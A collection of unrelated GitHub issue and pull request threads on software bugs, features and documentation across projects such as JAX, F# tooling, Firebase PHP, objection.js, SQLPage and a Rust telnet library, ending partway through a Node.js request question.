Perhaps that helps?

I bisected this to commit dd6f0e2e2ed13869eb7641ebff854ff5e8077e82, with the released jaxlib.
Perhaps that helps?

When I experimented with this, it is possible it is related to a comparison in which Structs have differing weak types (which I assume wasn't a problem before that commit, because there was not weak type attribute to compare): https://github.com/patrick-kidger/equinox/issues/854#issuecomment-2356666036.

My current belief is that there's no action needed from JAX here: we're simply providing additional information as part of shape evaluation, and equinox needs an update to handle that.

Closing, this needs a fix in equinox.


Restore the performance of CQM.from_file()

Fix a performance hit we took when introducing weighted constraints.

Codecov Report

Merging #1255 (c11cc16) into main (337ff0b) will increase coverage by 0.00%.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##             main    #1255   +/-   ##
=======================================
  Coverage   94.90%   94.90%
=======================================
  Files          80       80
  Lines        8146     8148    +2
=======================================
+ Hits         7731     7733    +2
  Misses        415      415

Impacted Files
Coverage Δ

dimod/constrained.py
94.61% <100.00%> (+0.01%)
:arrow_up:

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


fixing migration issue

Saving this logs here for historical purposes, the fix was to fix the migrationController using the OldBRKeyStore because getToken() in the middle of the migration was getting a NPE.
log_after_upgrading.txt
log_second_restart.txt


[WIP] Project Load improvements

It'd be great if I could get some additional eyes to review this as I work towards addressing https://github.com/Microsoft/visualfsharp/issues/2793
This first change is to simplify an initial project loading process that seems unnecessarily complicated. I've opened a bunch of slns after making the change, they all seem to open around the same speed or slightly faster, I haven't noticed anything breaking yet, but maybe the CI will catch something...

Apparently there were some slowdowns when doing this. That's why the code is so convoluted. It waits for full solution load.

@majocha I've found that I just need to build a new way to add the project references into the fsharpprojectoptions being created and then the references to LanguageService & LanguageService.Base can be removed from FSharp.Editor.
initialize has been cut down to
    override this.Initialize() =
        base.Initialize()

        this.Workspace.Options <- this.Workspace.Options.WithChangedOption(Completion.CompletionOptions.BlockForCompletionItems, FSharpConstants.FSharpLanguageName, false)
        this.Workspace.Options <- this.Workspace.Options.WithChangedOption(Shared.Options.ServiceFeatureOnOffOptions.ClosedFileDiagnostic, FSharpConstants.FSharpLanguageName, Nullable false)

        this.Workspace.DocumentClosed.Add <| fun args ->
            tryRemoveSingleFileProject args.Document.Project.Id

        Events.SolutionEvents.OnAfterCloseSolution.Add <| fun _ ->
            singleFileProjects.Keys |> Seq.iter tryRemoveSingleFileProject

        this.Workspace.WorkspaceChanged |> Observable.add (fun args ->
            match args.Kind with
            | WorkspaceChangeKind.ProjectRemoved ->
                projectInfoManager.ClearProjectInfo args.ProjectId
            | _ -> ()
        )

        let theme = package.ComponentModel.DefaultExportProvider.GetExport<ISetThemeColors>().Value
        theme.SetColors()

SyncProject is out, SetupProjectFile is out SetupNewTextView doesn't use the project site anymore.
It's not doing great on @saul's Dense generated project when it's been cut down to 50projs, so I've still got a ways to go with this

Turns out it was a biiiiit more complicated than I initially thought 😆
I think the introduction of the ProjectTracker in a few more places may help with the synchronization, but I need to do some more experimenting to find out for sure
Depending on how well the solution event advising and project tracker keep things running in the background and hooked up to the workspace, it might be possible to cut out a few more large chunks of the current logic.
All usage of ProjectSitesAndFiles has been removed,

[ ] abstractProjects need to be disconnected and disposed properly
[ ] FSharpProjectOptions need the rest of their data filled properly (compiler flags etc)
[ ] Try to make more of the initialization and loading aync or deferred
[ ] Testing for ProjectOptionsCache
[ ] Fix SingleProjectFile, Script FSharpProjectOptions generation and ComputeSingleFileOptions

@davkean I've been told you know how to disable/mute the msbuild output in the debug pane. If I could get rid of that noise it'd make working on this less painful.

@cloudRoutine TBH, I have no idea how F# project system calls MSBuild or who puts the logs into the Output window. The legacy C# calls into the default IVsBuildManagerAccessor and I didn't think it logged to the debug pane.

Can you reverse the layout/formatting changes (submit them in a different review to make them) to make the diff easier to read?

@davkean don't worry about it, I've been getting nowhere with this

@cloudRoutine a bit late (considering you've closed this), but I know where you can look for this. See ProjectNode.SetDebugLogger in ProjectNode.cs in the base project project.

@saul thanks for the tip, but I have no intention of coming back to this

Any particular reason? I plan on tackling the project load performance issues soon as it's crippling us at work. Any tips would be great :)

Cause it's miserable to work on, the integration with lower layers of the project system were deeper than I originally realized and there's a bunch of underlying machinations in the languageservice and languageservice.base that I didn't get into thoroughly investigating.
The interactions between the solution and the workspace are obtuse, and the projectsitesandfile implementation is an odd one I was hoping to be able to factor out, but it seems like it'd take a lot more digging and untangling that I'd already done.
I'd thought I'd made some progress here, but I couldn't figure out why the project references weren't loading properly, if you want to try to pick up from here that'd be the first thing to address.
The reactor seems to be starting up when VS is opened, before any solution has been opened, that probably shouldn't be happening.
If you're wondering why I changed the projectinfo manager to work mainly as a wrapper around the projectinfocache, it was to make it easier to add it into a workspace I built to use for roslyn feature tests (I didn't get around to PR'n it though)
@saul I'll try to answer any other questions you have, but I'm not sure I really learned much concretely while working on this 😆


What is the Legend-PURE language?

The Legend PURE language is a functional language which allows for the creation of domain models and functions that operate on those models. Domain models capture the important information about concepts in the problem domain including their relationship while functions allow for operations to be specified in terms of model and language elements. Legend allows for the mapping of domain model elements to data stores, the system will compile functions to queries on those stores. The language is currently used to model all sorts of different business domains, including but not limited to financial services functions such as risk assessment, reporting, or human resources.

thank you @beekemarie!


add/edit algorithm description

try editing or adding a description for an algorithm.
after you press "submit"
you get an error
"algorithm yellow-alg already exists"
for example and the algorithm yellow-alg already exists
haven't been saved

Duplicate: #393


Remove cloaking from primary VMR sync

Remove cloaking from the sync of the VMR to the 'primary' branch. Note: It is possible that some exclusions may remain in the primary VMR branch. Design accordingly.

As agreed, I have prepared the new VMR branch main-ub - https://github.com/dotnet/dotnet/tree/main-ub.
I have deleted all contents of the VMR and initialized it using the tooling without the cloakings. I then squashed these changes.
The result is this commit (on top of main): https://github.com/dotnet/dotnet/commit/ef0889835b8296b0bc3614c826561e17d257370a which adds 663 binaries (patch size for this would be 66.7MB).
The synchronization pipeline now runs 2 jobs:
https://dev.azure.com/dnceng/internal/_build/results?buildId=2363056&view=results

This is superseded by https://github.com/dotnet/source-build/issues/4088.


MODELIX-457: configurable CN_ typealias names

Will fix https://issues.modelix.org/issue/MODELIX-457

No

:tada: This PR is included in version 2.8.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


NumericUpDown text option for zero or null #2189

What changed?
Created TextIfZero and TextIfNull properties:
TextIfZero: If set to any other value than null, the property value will be shown when the NumericUpDownValue is equal to zero.

TextIfNull: If set to any other value than null, the property value will be shown when the NumericUpDownValue is null.

#2189

/cc @xxMUROxx

Well the idea is good :+1:

I'm not fond of this :-/

According to #2189 a compromise would be to show in that case only 0 instead of the complete StringFormat (e.g. 0.000)
For the other case, now I agree with @thoemmi.


Documentation for volume.config is confusing and obsolete

In particular, the example with scheme=http / scheme=https is invalid, there's only one protocol that's supported, http (for all HTTP versions).

https://docs.trafficserver.apache.org/en/latest/admin-guide/files/volume.config.en.html
no longer has scheme=https.
What else needs to happen?

Sounds good, lets close this :)


Fixed setting secondary indicators from API while app is running.

https://github.com/ScottLogic/BitFlux/issues/657#issuecomment-194296517
#681

Thanks @jdhodges but I think this is no longer needed as a fix has been merged in #749 (please reopen if you disagree).


Difference Between Application and User Roles Not Clear

I'm trying to understand the difference. I don't know what the Required Permissions blade is. There's not much but one or two sentences explaining the difference of an Application role. At the end of the doc, under Assign users and groups to roles #8, it states to Select Roles from the Add Assignment pane and that all the roles declared earlier in the app manifest will show up. Well I've declared an application and a user role but the only one that I see showing up is the user role so I'm guessing there's a misunderstanding where the statement in #8 is assuming that all roles created are user roles. I'm not sure.
I just don't really know what the application role is for and why.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 9939fc33-8762-3104-eae0-08250c508100
Version Independent ID: 9c6fa664-df37-40aa-f46e-9e59f79ae215
Content: How to add app roles in your Azure Active Directory-registered application and receive them in the token
Content Source: articles/active-directory/develop/howto-add-app-roles-in-azure-ad-apps.md
Service: active-directory
GitHub Login: @kkrishna
Microsoft Alias: kkrishna

@DanJ210
Thanks for your feedback! We will investigate and update as appropriate.

@MarileeTurscak-MSFT Thank you!

Application roles are used to assign permissions to users. The application developer defines the application roles by adding them to the application manifest. After a customer signs up, an admin for the customer's AD directory assigns users to the roles. When a user signs in, the user's assigned roles are sent as claims.

We would be closing this thread for now. Let us know if you needs further help.

@neeleshray Application roles are very understood, it's the issue above in the original post that is confusing. What about getting some insight on that situation?


Ap 2300 other parties

What
Link to story
Add involved_children details to the case_add_request payload so that involved_children are reported to CCMS
Add method to split the single full_name field into a first and last name for opponents and involved children
Remove hard coded opponent organisation details from the payload
Add case specific opponent details to the ccms payload
Checklist
Before you ask people to review this PR:

[x] Tests and rubocop should be passing: bundle exec rake
[x] Github should not be reporting conflicts; you should have recently run git rebase master.
[x] There should be no unnecessary whitespace changes. These make diffs harder to read and conflicts more likely.
[x] The PR description should say what you changed and why, with a link to the JIRA story.
[x] You should have looked at the diff against master and ensured that nothing unexpected is included in your changes.
[x] You should have checked that the commit messages say why the change was made.

Codecov Report

Merging #2628 (f598536) into master (1600db1) will not change coverage.
The diff coverage is 100.00%.

@@            Coverage Diff            @@
##            master     #2628   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files          530       531    +1
  Lines        10888     10920   +32
=========================================
+ Hits         10888     10920   +32

Impacted Files
Coverage Δ

app/helpers/name_split_helper.rb
100.00% <100.00%> (ø)

...p/models/application_merits_task/involved_child.rb
100.00% <100.00%> (ø)

app/models/application_merits_task/opponent.rb
100.00% <100.00%> (ø)

app/services/ccms/requestors/case_add_requestor.rb
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1600db1...f598536. Read the comment docs.


Move mesh tagger to be run as a task rather than using the launcher

Being worked on in https://github.com/Kitware/HPCCloud/tree/mesh-tagger-task

Closed with #85


iOS: Support for managing proxies and certificate authorities

With this PR, I'm catching iOS up with the new features added for Android in #27.
This is based on #27, which needs to be merged first.
Functions implemented so far:

installCertificateAuthority() and removeCertificateAuthority() to install or remove a certificate authority as a trusted root CA on the device. Caveat: For the CA to be trusted automatically, the user needs to perform a one-time setup step. (#44)
setProxy() to either set or disable the global proxy settings. (#25)

Additionally implemented:

stopApp() to force-stop an app. (#37)
isAppInstalled() to check whether an app is already installed on the device. (#41)

Unrelated to the rest of the PR but also added here (since I didn't want to stack yet another PR):

Retry starting Frida on Android if that fails to hopefully fix #32.
Automatically install Frida in ensureDevice() on Android. The device preparation instructions on Android are now delightfully short. \o/ (#39)

This should probably be rebased on main after #27 is merged but before this is merged.

Like I mentioned (https://github.com/tweaselORG/meta/issues/22#issuecomment-1478093770) Frida crashes the SpringBoard on iOS 15.7.2, so I can not really test this properly (my other test devices have not arrived, yet).

Since we found the problem in https://github.com/tweaselORG/meta/issues/22, I was able to test this. mostly anyway, it seems that the Apps I download all seem to crash if I install them on the device. But that has nothing to do with the changes. Could you change the README and fix #55 while you're at it? Then we can merge!

Just to document: I had a problem where apps wouldn't start because I had more than one mitmproxy CA on the device activated. I don't know how this could have happend, but I just deleted my .mitmproxy/ folder, so there would have been a different certificate.


Updates docs to use Gitbook format.  Thanks to @skillz4killz

Fixes

#299 Multilingual Documentation

Changes proposed

Adds ISO folders for each language
Duplicates text for each language
Adds the "Gitbook" open source build tool chain, with accompanying scripts added to the makefile.

I'd still like to:

[ ] Give attribution to the folks doing translation.  @Skillz4Killz has this in there, but I'm not sure where we should put it now that I changed a few things (Intro, a colophon, etc.)

Note: I opened a second ticket (#300) to theme these to look like the new designs that @NKaloyeros created.

@Skillz4Killz what do you think about attribution?

giving credit should be fairly simple and it could be in the readme of every language or a separate page at the end of the docs. The readme currently has the introduction and at the bottom, you could list the credits which could contain both translators and anyone who helps maintain it.


Remake sample Blueprints in UE4

Describe the feature request
Consider remaking sample Blueprints in UE4 to make them more backwards-compatible.

Will be available in 1.1.0-beta.5.


Fix the SAS token generation script

to account for breaking change in New-AzStorageContainerSASToken which causes it to no longer start with a question mark.
See https://learn.microsoft.com/en-us/powershell/azure/release-notes-azureps?view=azps-11.3.0#azstorage-600

If you squint you can just about make out when we rolled SAS tokens Wednesday night:


[Question] Can't insert relation in many-to-many pivot table defined as objection Model?

I'm getting error id" - column "id" does not exist, when I'm trying to insert data in many-to-many relations
    await PostLike.query().insert({
      post_id: pid,
      user_id: userId,
    })

I'm facing similar issue as in https://github.com/Vincit/objection.js/issues/1369 even though I have defined modelClass
      ...
      post_likes: {
        relation: Model.ManyToManyRelation,
        modelClass: __dirname + '/user.model',
        join: {
          from: 'posts.id',
          through: {
            modelClass: __dirname + '/post_likes.model',
            from: 'post_likes.post_id',
            to: 'post_likes.user_id',
          },
          to: 'users.id',
        },
      },
     ...

This is my PostLike Model,
export class PostLike extends Model {
  static get tableName() {
    return 'post_likes'
  }

  static get relationMappings() {
    return {
      post: {
        relation: Model.BelongsToOneRelation,
        modelClass: __dirname + './post.model',
        join: {
          from: 'post_likes.post_id',
          to: 'posts.id',
        },
      },
      user: {
        relation: Model.BelongsToOneRelation,
        modelClass: __dirname + './user.model',

        join: {
          from: 'post_likes.user_id',
          to: 'users.id',
        },
      },
    }
  }
}

You need to define the idColumn for the model if it's not id.


Panda network changes

A reference to the issue / Description of it
Changes to make the network changes for Panda - may not be needed but an attempt to fix an error

Please check the plan carefully before deploying these changes.
⚠ Making changes to the environments-networks/*.json files will affect the networking of MP AWS accounts, in particular which VPC/Subnet is being shared in to which environment. For more guidance consult the documentation.

Understood but there are errors showing up because there are no VPCs. My intention is to run through this to clear the issue and then to remove any subnets it creates. I know this is not how it would normally be done but removing the initial VPC is what is causing this issue I believe. In 99% of cases this will not be an issue as we will be running the networking steps.


support f16 in entry point input/output signature

f16 in entry point input/output signatures is now written with double quotes like other data types.
Also added f16 support to OMExecutionService and enabled float16 backend tests for PowerPC64 and MacOS platforms (both x84_64 and Arm). The float16 tests fails on s390x, as previously noted in backend test comments. They fail on linux amd64 and I couldn't figure out why. I'll open an issue about that.
Left a TODO to make omTensorSort() support float16. This will be needed to make TopK lowering to LLVM work for float16. I'll open an issue about that.

Jenkins Linux amd64 Build #11942 [push] support f16 in entry poi... started at 11:17

Jenkins Linux ppc64le Build #10949 [push] support f16 in entry poi... started at 12:23

Jenkins Linux s390x Build #11955 [push] support f16 in entry poi... started at 12:17

Jenkins Linux amd64 Build #11942 [push] support f16 in entry poi... passed after 1 hr 36 min

Jenkins Linux s390x Build #11955 [push] support f16 in entry poi... passed after 1 hr 38 min

Jenkins Linux ppc64le Build #10949 [push] support f16 in entry poi... passed after 2 hr 3 min


Refs #32292 -- Made dbshell do not use 'postgres' database when service name is set.

ticket-32292
Regression in dcb3ad3319cad5c270a1856fd5f355e37cf9d474.

Thanks both :+1:


refine the deployment guide of kubesphere, reorder the list in instll.md

Signed-off-by: FeynmanZhou<EMAIL_ADDRESS>Please answer these questions before submitting a pull request

Why submit this pull request?
[ ] Bugfix
[ ] New feature provided
[ ] Improve performance
[ ] Backport patches
[x] Refine documents

@FeynmanZhou Thanks for your contribution!

@FeynmanZhou Thanks for your contribution!

@FeynmanZhou CI failed,  a few markdown formats need to be tweaked. :)

@FeynmanZhou CI failed,  a few markdown formats need to be tweaked. :)

@FeynmanZhou CI failed, a few markdown formats need to be tweaked. :)

Fixed

@FeynmanZhou CI failed, a few markdown formats need to be tweaked. :)

Fixed

Codecov Report

Merging #196 (040ee9d) into master (ff9fada) will decrease coverage by 0.10%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #196      +/-   ##
==========================================
- Coverage   47.79%   47.68%   -0.11%
==========================================
  Files          32       32
  Lines        1883     1883
==========================================
- Hits          900      898       -2
- Misses        844      846       +2
  Partials      139      139

Impacted Files
Coverage Δ

pkg/seven/state/solver.go
1.98% <0.00%> (-1.99%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ff9fada...040ee9d. Read the comment docs.

Codecov Report

Merging #196 (040ee9d) into master (ff9fada) will decrease coverage by 0.10%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #196      +/-   ##
==========================================
- Coverage   47.79%   47.68%   -0.11%
==========================================
  Files          32       32
  Lines        1883     1883
==========================================
- Hits          900      898       -2
- Misses        844      846       +2
  Partials      139      139

Impacted Files
Coverage Δ

pkg/seven/state/solver.go
1.98% <0.00%> (-1.99%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ff9fada...040ee9d. Read the comment docs.


Client certificate authentication

Hello Norbert,
As we discussed via email, could you please check, if you can implement client certificate authentication?
Thanks,
Daniel

Hi @Daniel-Marlen ,
I have created patch which implements authentication by client certificates. Could you check the documentation
Pls check it if the implementation is enough for you.
Norbert

Hi @norbertvolf,
Thank you for implementing it. I checked the documentation, but I still don't understand how I should gather the following three parameters: ca, cert, key. My intention is to have a client browser app, which performs the oData call from the client's machine using a windows certificate. So I should have a code that finds the relevant windows certificate and gets the relevant values in pem format to fill it in the oData call parameters. I can do this using win-ca library, but using that library I can only gather the client certificate in pem format, not the private key or ca. Am I missing something or is this scenario not achievable?
Thanks,
Daniel

Hi @Daniel-Marlen,
You can use client certificate from windows in PFX format. The certificate can be  exported from windows certificate store. There is two parameters for it "pfx" and "passphrase". (the file with certificate in PFX format has pfx or p12 extension).
ca, cert and key parameters are for PEM format. You can use openssl to convert client certificate from PFX (used by windows client store) to PEM (which is widely used).
Norbert

Hi @norbertvolf,
I think I'm missing something or we are talking about two scenarios. All the users who would use this application have their own certificate that we should use for authentication. That contains the user ID information as well. I can only export my certificate manually, but I can't call the oData service with my certificate every time. Each oData call should use the certificate from the user's machine. If you prefer we can have a short call sometime to clarify this.
Thanks,
Daniel

Released in 1.0.7


factory->withCredentials does not resolve file contents

Hi
This is an impressive library. Thank you. My first tests work perfectly.
I have however one funny issue.
factory->withCredentials hands over the filename instead the content of the file. This results in a JSON syntax error.
a) does work
Putting the application_default_credentials in $HOME/.config/gloud/application_default_credentials.json
b) does NOT work
$firebase = (new Firebase\Factory())
->withCredentials(__DIR__.'/application_default_credentials.json')
->create();

$json contains the filename, not its content

c) does work
$firebase = (new Firebase\Factory())
->withCredentials('{
  "type": "service_account",
  "project_id": "xxxx",
  "private_key_id": "xxxx",
  "private_key": "-----BEGIN PRIVATE KEY-----xxxx\n",
  "client_email": "xxx",
  "client_id": "xxx",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://accounts.google.com/o/oauth2/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "xxx"
}')
->create();

Using version
kreait 3.0.1
php 7.1.4
Am I overlooking anything?
Thank you!

Hey Urs, and thank you for the comprehensive bug report!
Is the file in __DIR__.'/application_default_credentials.json' by any chance a symlink to another file?

Thanks for responding so quickly.
No, it is not a symlink.

That's really strange (it worked for me with a Symlink as well, I just wanted to make sure).
To debug further, could you please replace the version of kreait/firebase-php in your project's composer.json with dev-debug-credentials (it points to https://github.com/kreait/firebase-php/tree/debug-credentials) and do a composer require kreait/firebase-php?
If added a check for a symlink and one to check if we're really working with a file. You can see the changes here: https://github.com/kreait/firebase-php/commit/0ad8b0024c26b8cd02b13e2a2975627ec557824b#diff-8b9194fc7bb1baa738945c01e3f0e1b8
If this still doesn't work, we'll continue debugging, until we find the issue 👍 :)

It could not install the debug version via composer. So I copied the ServiceAccount.php manually.
Hope this is OK.
Result of fromJsonFile:

if (is_link($filePath)) { is false.
None of the conditions are true.

return self::fromJson(file_get_contents($filePath)); does the job.
Now I have the file contents, the code continues and I can retrieve a snapshot

Does this mean that this works with the changed code now? I will then release a new version tonight - I have to make another change, but it's not directly related.

Yes. It works.
To be clear, it first throws an exception on fromJson and then fromJsonFile makes it work.
            try {
                return self::fromJson($value);
            } catch (InvalidArgumentException $e) {
                return self::fromJsonFile($value);
            }

That's expected! Thank you for helping out! There will be a new (3.0.2) release soon!

Here it is: https://github.com/kreait/firebase-php/releases/tag/3.0.2
I'm closing this issue now - but if you encounter more issues, please don't hesitate to add another comment or open a new issue! And thank you again for using the library and taking the time to share the problem! 🤗


Remove conv weight scale reciprocal

After oneDNN 3.1 upgrade, we don't need do the weight scale reciprocal calculation. So, remove the duplicated reciprocal calculation to optimize QConv performance.

Hi @jgong5 @Xia-Weiwen, could you help to take a look of this PR?

LGTM. This depends on onednn 3.x right, otherwise would result in incorrectness, right?

Yes, we need to merge PR: https://github.com/pytorch/pytorch/pull/105996 firstly before update PyTorch IDeep to this commit.

Hi @yanbing-j, could you help to merge it?


Allow multi-line when statement following an else without requiring braces

This is related to the MandatoryBracesIfStatements rule.
Expected Behavior
To allow this code snippet without lint issues:
fun getList(quality: QualityEnum, specialFlag: Boolean) =
  if (specialFlag) {
    // ...
  } else when (quality) {
    // exhaustive enum when statement
  }

Current Behavior
For the above snipped, there are lint errors thrown that require it to be written in a less legible manner (imho), like so:
fun getList(quality: QualityEnum, specialFlag: Boolean) =
  if (specialFlag) {
    // ...
  } else {
    when (quality) {
      // exhaustive enum when statement
    }
  }

Context

To check a flag which requires custom behavior or otherwise default to a when(..) statement's result
This can be combined into a single big when statement, however, in doing so the exhaustive when(quality) is lost, meaning that we have to add an else branch, where it would not be necessary otherwise
The check for specialFlag is necessary to be done first (and thus cannot be in an else branch of a larger when statement, as even when its true, quality may have a valid value, which would mean it would incorrectly use another one of the cases instead.

I'm curious to hear other's opinion on this.
I personally haven't seen this syntax that often:
  } else when (quality) {

It definitely looks more readable than instead of having another level of nesting.
I can't seem to find any negative point against allowing this (or at least having an allowSingleWhenStatement config flag or so).
Are there any reference to this in the official Kotlin styleguide or so?

It's a strange case but if we accept else if we should accept else when. And I don't thing that we should add any new flag.


Scaladoc tool: render @deprecated correctly even when named arguments weren't used

Fixes #20118
Still need a test case for this issue using jsoup

I'm at the Lightbend company meeting the whole rest of the week — the earliest I could return to it is around Nov 21. @HarrisL2 feel free to run with it if you like

I'm not able to write a test case for this change without making really specific checks. Ideally it would be a general test framework like SignatureTest.scala, where we can check the generated attributes of each member with an expected result. I don't think this framework exists at the moment.
There are test cases about annotations, but those are for annotations that affect the generated signature, whereas the @deprecated annotation is a special case that is added to the attribute section, which is not tested for.
I have added test cases to scaladoc-testcases/src/tests/deprecated.scala, but it should be noted that it currently does not check the behavior of annotations. It only checks signatures through Deprecated in TranslatableSignaturesTestCases.scala.


"SERVER_FORBIDDEN" on Pixiv

Firefox 75.0 (64bit) on Linux Mint 19.1. When clicking Image-picka button over a picture on Pixiv (www.pixiv.net), the download fails with the message "SERVER_FORBIDDEN".
The extension works regularly on other sites.

Try enabling the "Download from cache" option.

Thank you, this solved the problem!
By the way, ImagePicka is superb! Love this extension!
Keep up the good work!


Fixes #155179 by implementing DeprecatedExtensionMigratorContribution

This PR fixes #

Wouldn't a better fix be an update the extension itself? E.g disable it, enable our setting, and show a prompt? Now we have extension specific code that we cannot really remove again

The extension is unpublished and cannot be updated.

Oh, I see


Resizing on gizmos rotates the object

#8 Bug fixed, objects should never rotate on scale. Some visual enhancements.

Now when resizing it always works on objects local space.
Toolbar guizmo MODE buttons deactivated if resize is selected.
Added an optional parameter to ToolbarButton() to set if enabled. Default at true.
Toolbar labels text color adjusted to syncronize with theme.

Task linked: CU-22jx07e Resizing on gizmos rotates the object


Plugin Error: Android Postfix Completion threw an uncaught NoSuchMethodError.

When I'm using postfix ".find" Android Postfix Completion threw an uncaught NoSuchMethodError.
Android Studio ver.: 3.0.1.
Plugin version: Version: 2.0.3

@takahirom Could you look at this issue?

me too.
Android Studio Version: 3.0.1
Plugin Version: 2.0.3


Upgrading formiojs in react-formio

The latest 3.x version of react-formio is 3.1.12 and it has "formiojs": "^3.16.1" as dependency.
There have been few defect fixes in formiojs and the latest version available is 3.29.4
What is the process to request a new react-formio version pointing to the latest formiojs version?
Should we fork and build it ourselves? Should we raise a PR for it?
Are there any react component level changes that also need to be studied from the defect fixes that needs to be applied?

Upgrading the 3.x version shouldn't cause any regressions. Since 3.16.x to 3.29.x is a minor update npm should automatically do this for you when you install. However, if you want to raise a PR it would probably be easiest so we do it next time we do some builds.

Thanks @randallknutson for the quick response.
Right now I have backported a fix in formiojs on Select to 3.x. In the defect it was mentioned that this will not make it to 3.x as it is a breaking change and will be available for 4.x
So, I m planning to fork both formiojs and react-formio.
In the forked version of formiojs, I have changed the package name to @user/formiojs
Im not able to publish this package.
npm publish lib --tag 3x  is throwing
403 Forbidden - PUT https://registry.npmjs.org/formiojs - You do not have permission to publish "formiojs". Are you logged in as the correct user?
Are there other configurations to be changed to publish this as a different package?
Once it is published, I plan to add it as a dependency in react-formio.
Any pointers?

I don't think you will be able to publish the package to the npm registry due to permissions. What you'll need to do if you fork it is replace the formiojs version in react-formio with a github link to your fork. This will allow npm to install correctly using your forked versions.
If at all possible I'd recommend upgrading to 4.x. At this point it is significantly improved from the 3.x branch. I understand if that isn't possible but would be a good idea if there is any way of doing it.

I was able to fork both the projects and get them to work. package.json was needed to be changed in 2 places in formiojs :)

Glad you got it to work! Hopefully at some point you can start using our main libraries again.


How to write buffer after reading?

I'm creating a telnet connection to google's smtp server.
extern crate telnet;

use telnet::{Telnet, TelnetEvent};
use std::str::from_utf8;

pub fn connect() {
    let mut connection = Telnet::connect(("gmail-smtp-in.l.google.com.", 25), 256)
        .expect("Couldn't connect to the server...");

    loop {
        let event = connection.read().expect("Read Error");
        match event {
            TelnetEvent::Data(read_buffer) => {
                // Debug: print the data buffer
                println!("{}", from_utf8(&read_buffer).unwrap());

                // Buffer to write to telnet
                let write_buffer = "HELO Hi".as_bytes(); // TODO Define buffer depending on read_buffer
                connection
                    .write(&write_buffer)
                    .expect("Error while writing");
            }
            _ => {}
        }
    }
}

I wish to write a telnet message after I get some data. I.e. If I receive this data, then I write that message.
However, here I am writing "HELO Hi", with no response.

Hello! Sorry for answering your question so late. I was so busy this month.
I have looked into your problem and found the source. Basically, you use TelnetConnection in the correct way. The problem is that you missed the newline character (\n) in your write_buffer. So, you can fix the problem by simply adding a \n at the end of the buffer:
let write_buffer = "HELO Hi\n".as_bytes();

This should be enough to make the program run. If you encounter more problems, please let me know.
BTW, I still found some other problems in my code when I was finding the problem. For example, I think that it lacks a flush() to ensure that the connection sends the data we write. Thanks for giving me a chance to review my code.

Thanks, that solved it!


[New Port Request] partio

Library name: partio
Library description: Computer graphics library from Walt Disney Animation Studios. An open-source C++ library for reading, writing and manipulating a variety of standard particle formats (GEO, BGEO, PTC, PDB, PDA).
Source repository URL: https://github.com/wdas/partio
Project homepage (if different from the source repository): http://partio.us/
Anything else that is useful to know when adding (such as optional features the library may have that should be included):

If you wish to add this port in the future, you can reopen this issue, but we're closing it for now.

If you wish to add this port in the future, you can reopen this issue, but we're closing it for now.


Support for inserting uploaded file content in db as bytes for streaming upload/download

What are you building with SQLPage ?
A tool to share files.
What is your problem ? A description of the problem, not the solution you are proposing.
Upload: I can't do streaming upload into the db because the data_uri is manifested as a string in memory first.
Download: I use an external service to provide a streaming download of the data. But this is not as ideal as it could be because I have to decode the data_uri from the db first (buffer in memory before download starts). Theoretically, one could decode a data_uri as a stream, but ideally I could just stream the bytes of the blob as is.
What are you currently doing ? Since your solution is not implemented in SQLPage currently, what are you doing instead ?
I'm storing uploaded files as data uri in db and using an external service to provide the download.
Describe the solution you'd like
I'd like to store the bytes alone as blob in db. Ideally this could be inserted into db as a streaming upload to avoid buffering entire file in memory.
SQLite buffers blobs in memory anyway, but other dbs may not. Even sqlite supports streaming blobs https://www.sqlite.org/c3ref/blob_open.html
Actually, streaming download could be a great featur for SQLPage (a new component maybe like the JSON component...?).

Hi! Streaming blobs in and out of databases is not supported in SQL. Databases have their own interfaces, but that would require some non-sql syntax. Storing large files in databases is usually not recommended anyway, so I'm not sure there would be enough use of such a feature to justify its development...

Yeah, I was prior to SQLPage storing everything on disk. I rolled my own content addressable storage.
But most these files are tiny so the db makes more sense.
Regarding large files, in db - I think it really depends on the db whether it's good or bad. Personally, I'd rather store files in a db than on disk. In my case, I have a SBC so storage is limited. With a db connection, the storage could be anywhere. Yes, I could also use a NAS, but a db seems way more portable.
My vision for such a SQLPage feature is like this:
-- index.sql

-- download (probably has to be first component like for JSON component
SET ":key" = $download;
SELECT 'streaming-download' AS component, (SELECT sqlpage.streaming_download('large_files', :key)) AS content
WHERE $download IS NOT NULL;

-- upload form
SELECT 'form' AS component;
SELECT 'file' AS type, 'upload' AS name, 'Upload' AS label;

-- upload
SET ":key" = sqlpage.uploaded_file_name();
INSERT INTO large_files (key, content)
VALUES (:key, sqlpage.empty_blob());
-- stream the bytes into the zero-sized blob
SELECT sqlpage.stream_uploaded_file_to_db(:key, sqlpage.uploaded_file_path('upload'))
WHERE :upload IS NOT NULL;

-- display a button to retrieve the just uploaded content
SELECT 'button' AS component, '/index.sql?download='||:key AS link;

So still SQL, but of course those functions need to be implemented - and likely need to be specifically implemented per db...
But yeah, I get this is likely not within scope of SQLPage target feature set.


Unable to set "Authorization" header in options?

Hi,
I am unable to send Authorization header in the request.
var options = {
url: uri,
qs: ...... //Query string data
method: 'GET',
headers: {
'Authorization': "ABCD",
}
};
Dont see this in document as well. How to send such a request that needs Authorization header to exist?
Thanks
Aditya

What kind of authorization is it? Basic?

Can you provide the actual piece of code used to send your request?
Does the problem persist when using this example:
https://github.com/request/request#custom-http-headers ?

The code i was using is as below:
===============================================================
var request = require('request');
var fs = require('fs');
var configurationFile = 'config.json';
var configuration = JSON.parse(
fs.readFileSync(configurationFile)
);
exports.getGoals = function(event, context){
require('request').debug = true;
var options = {
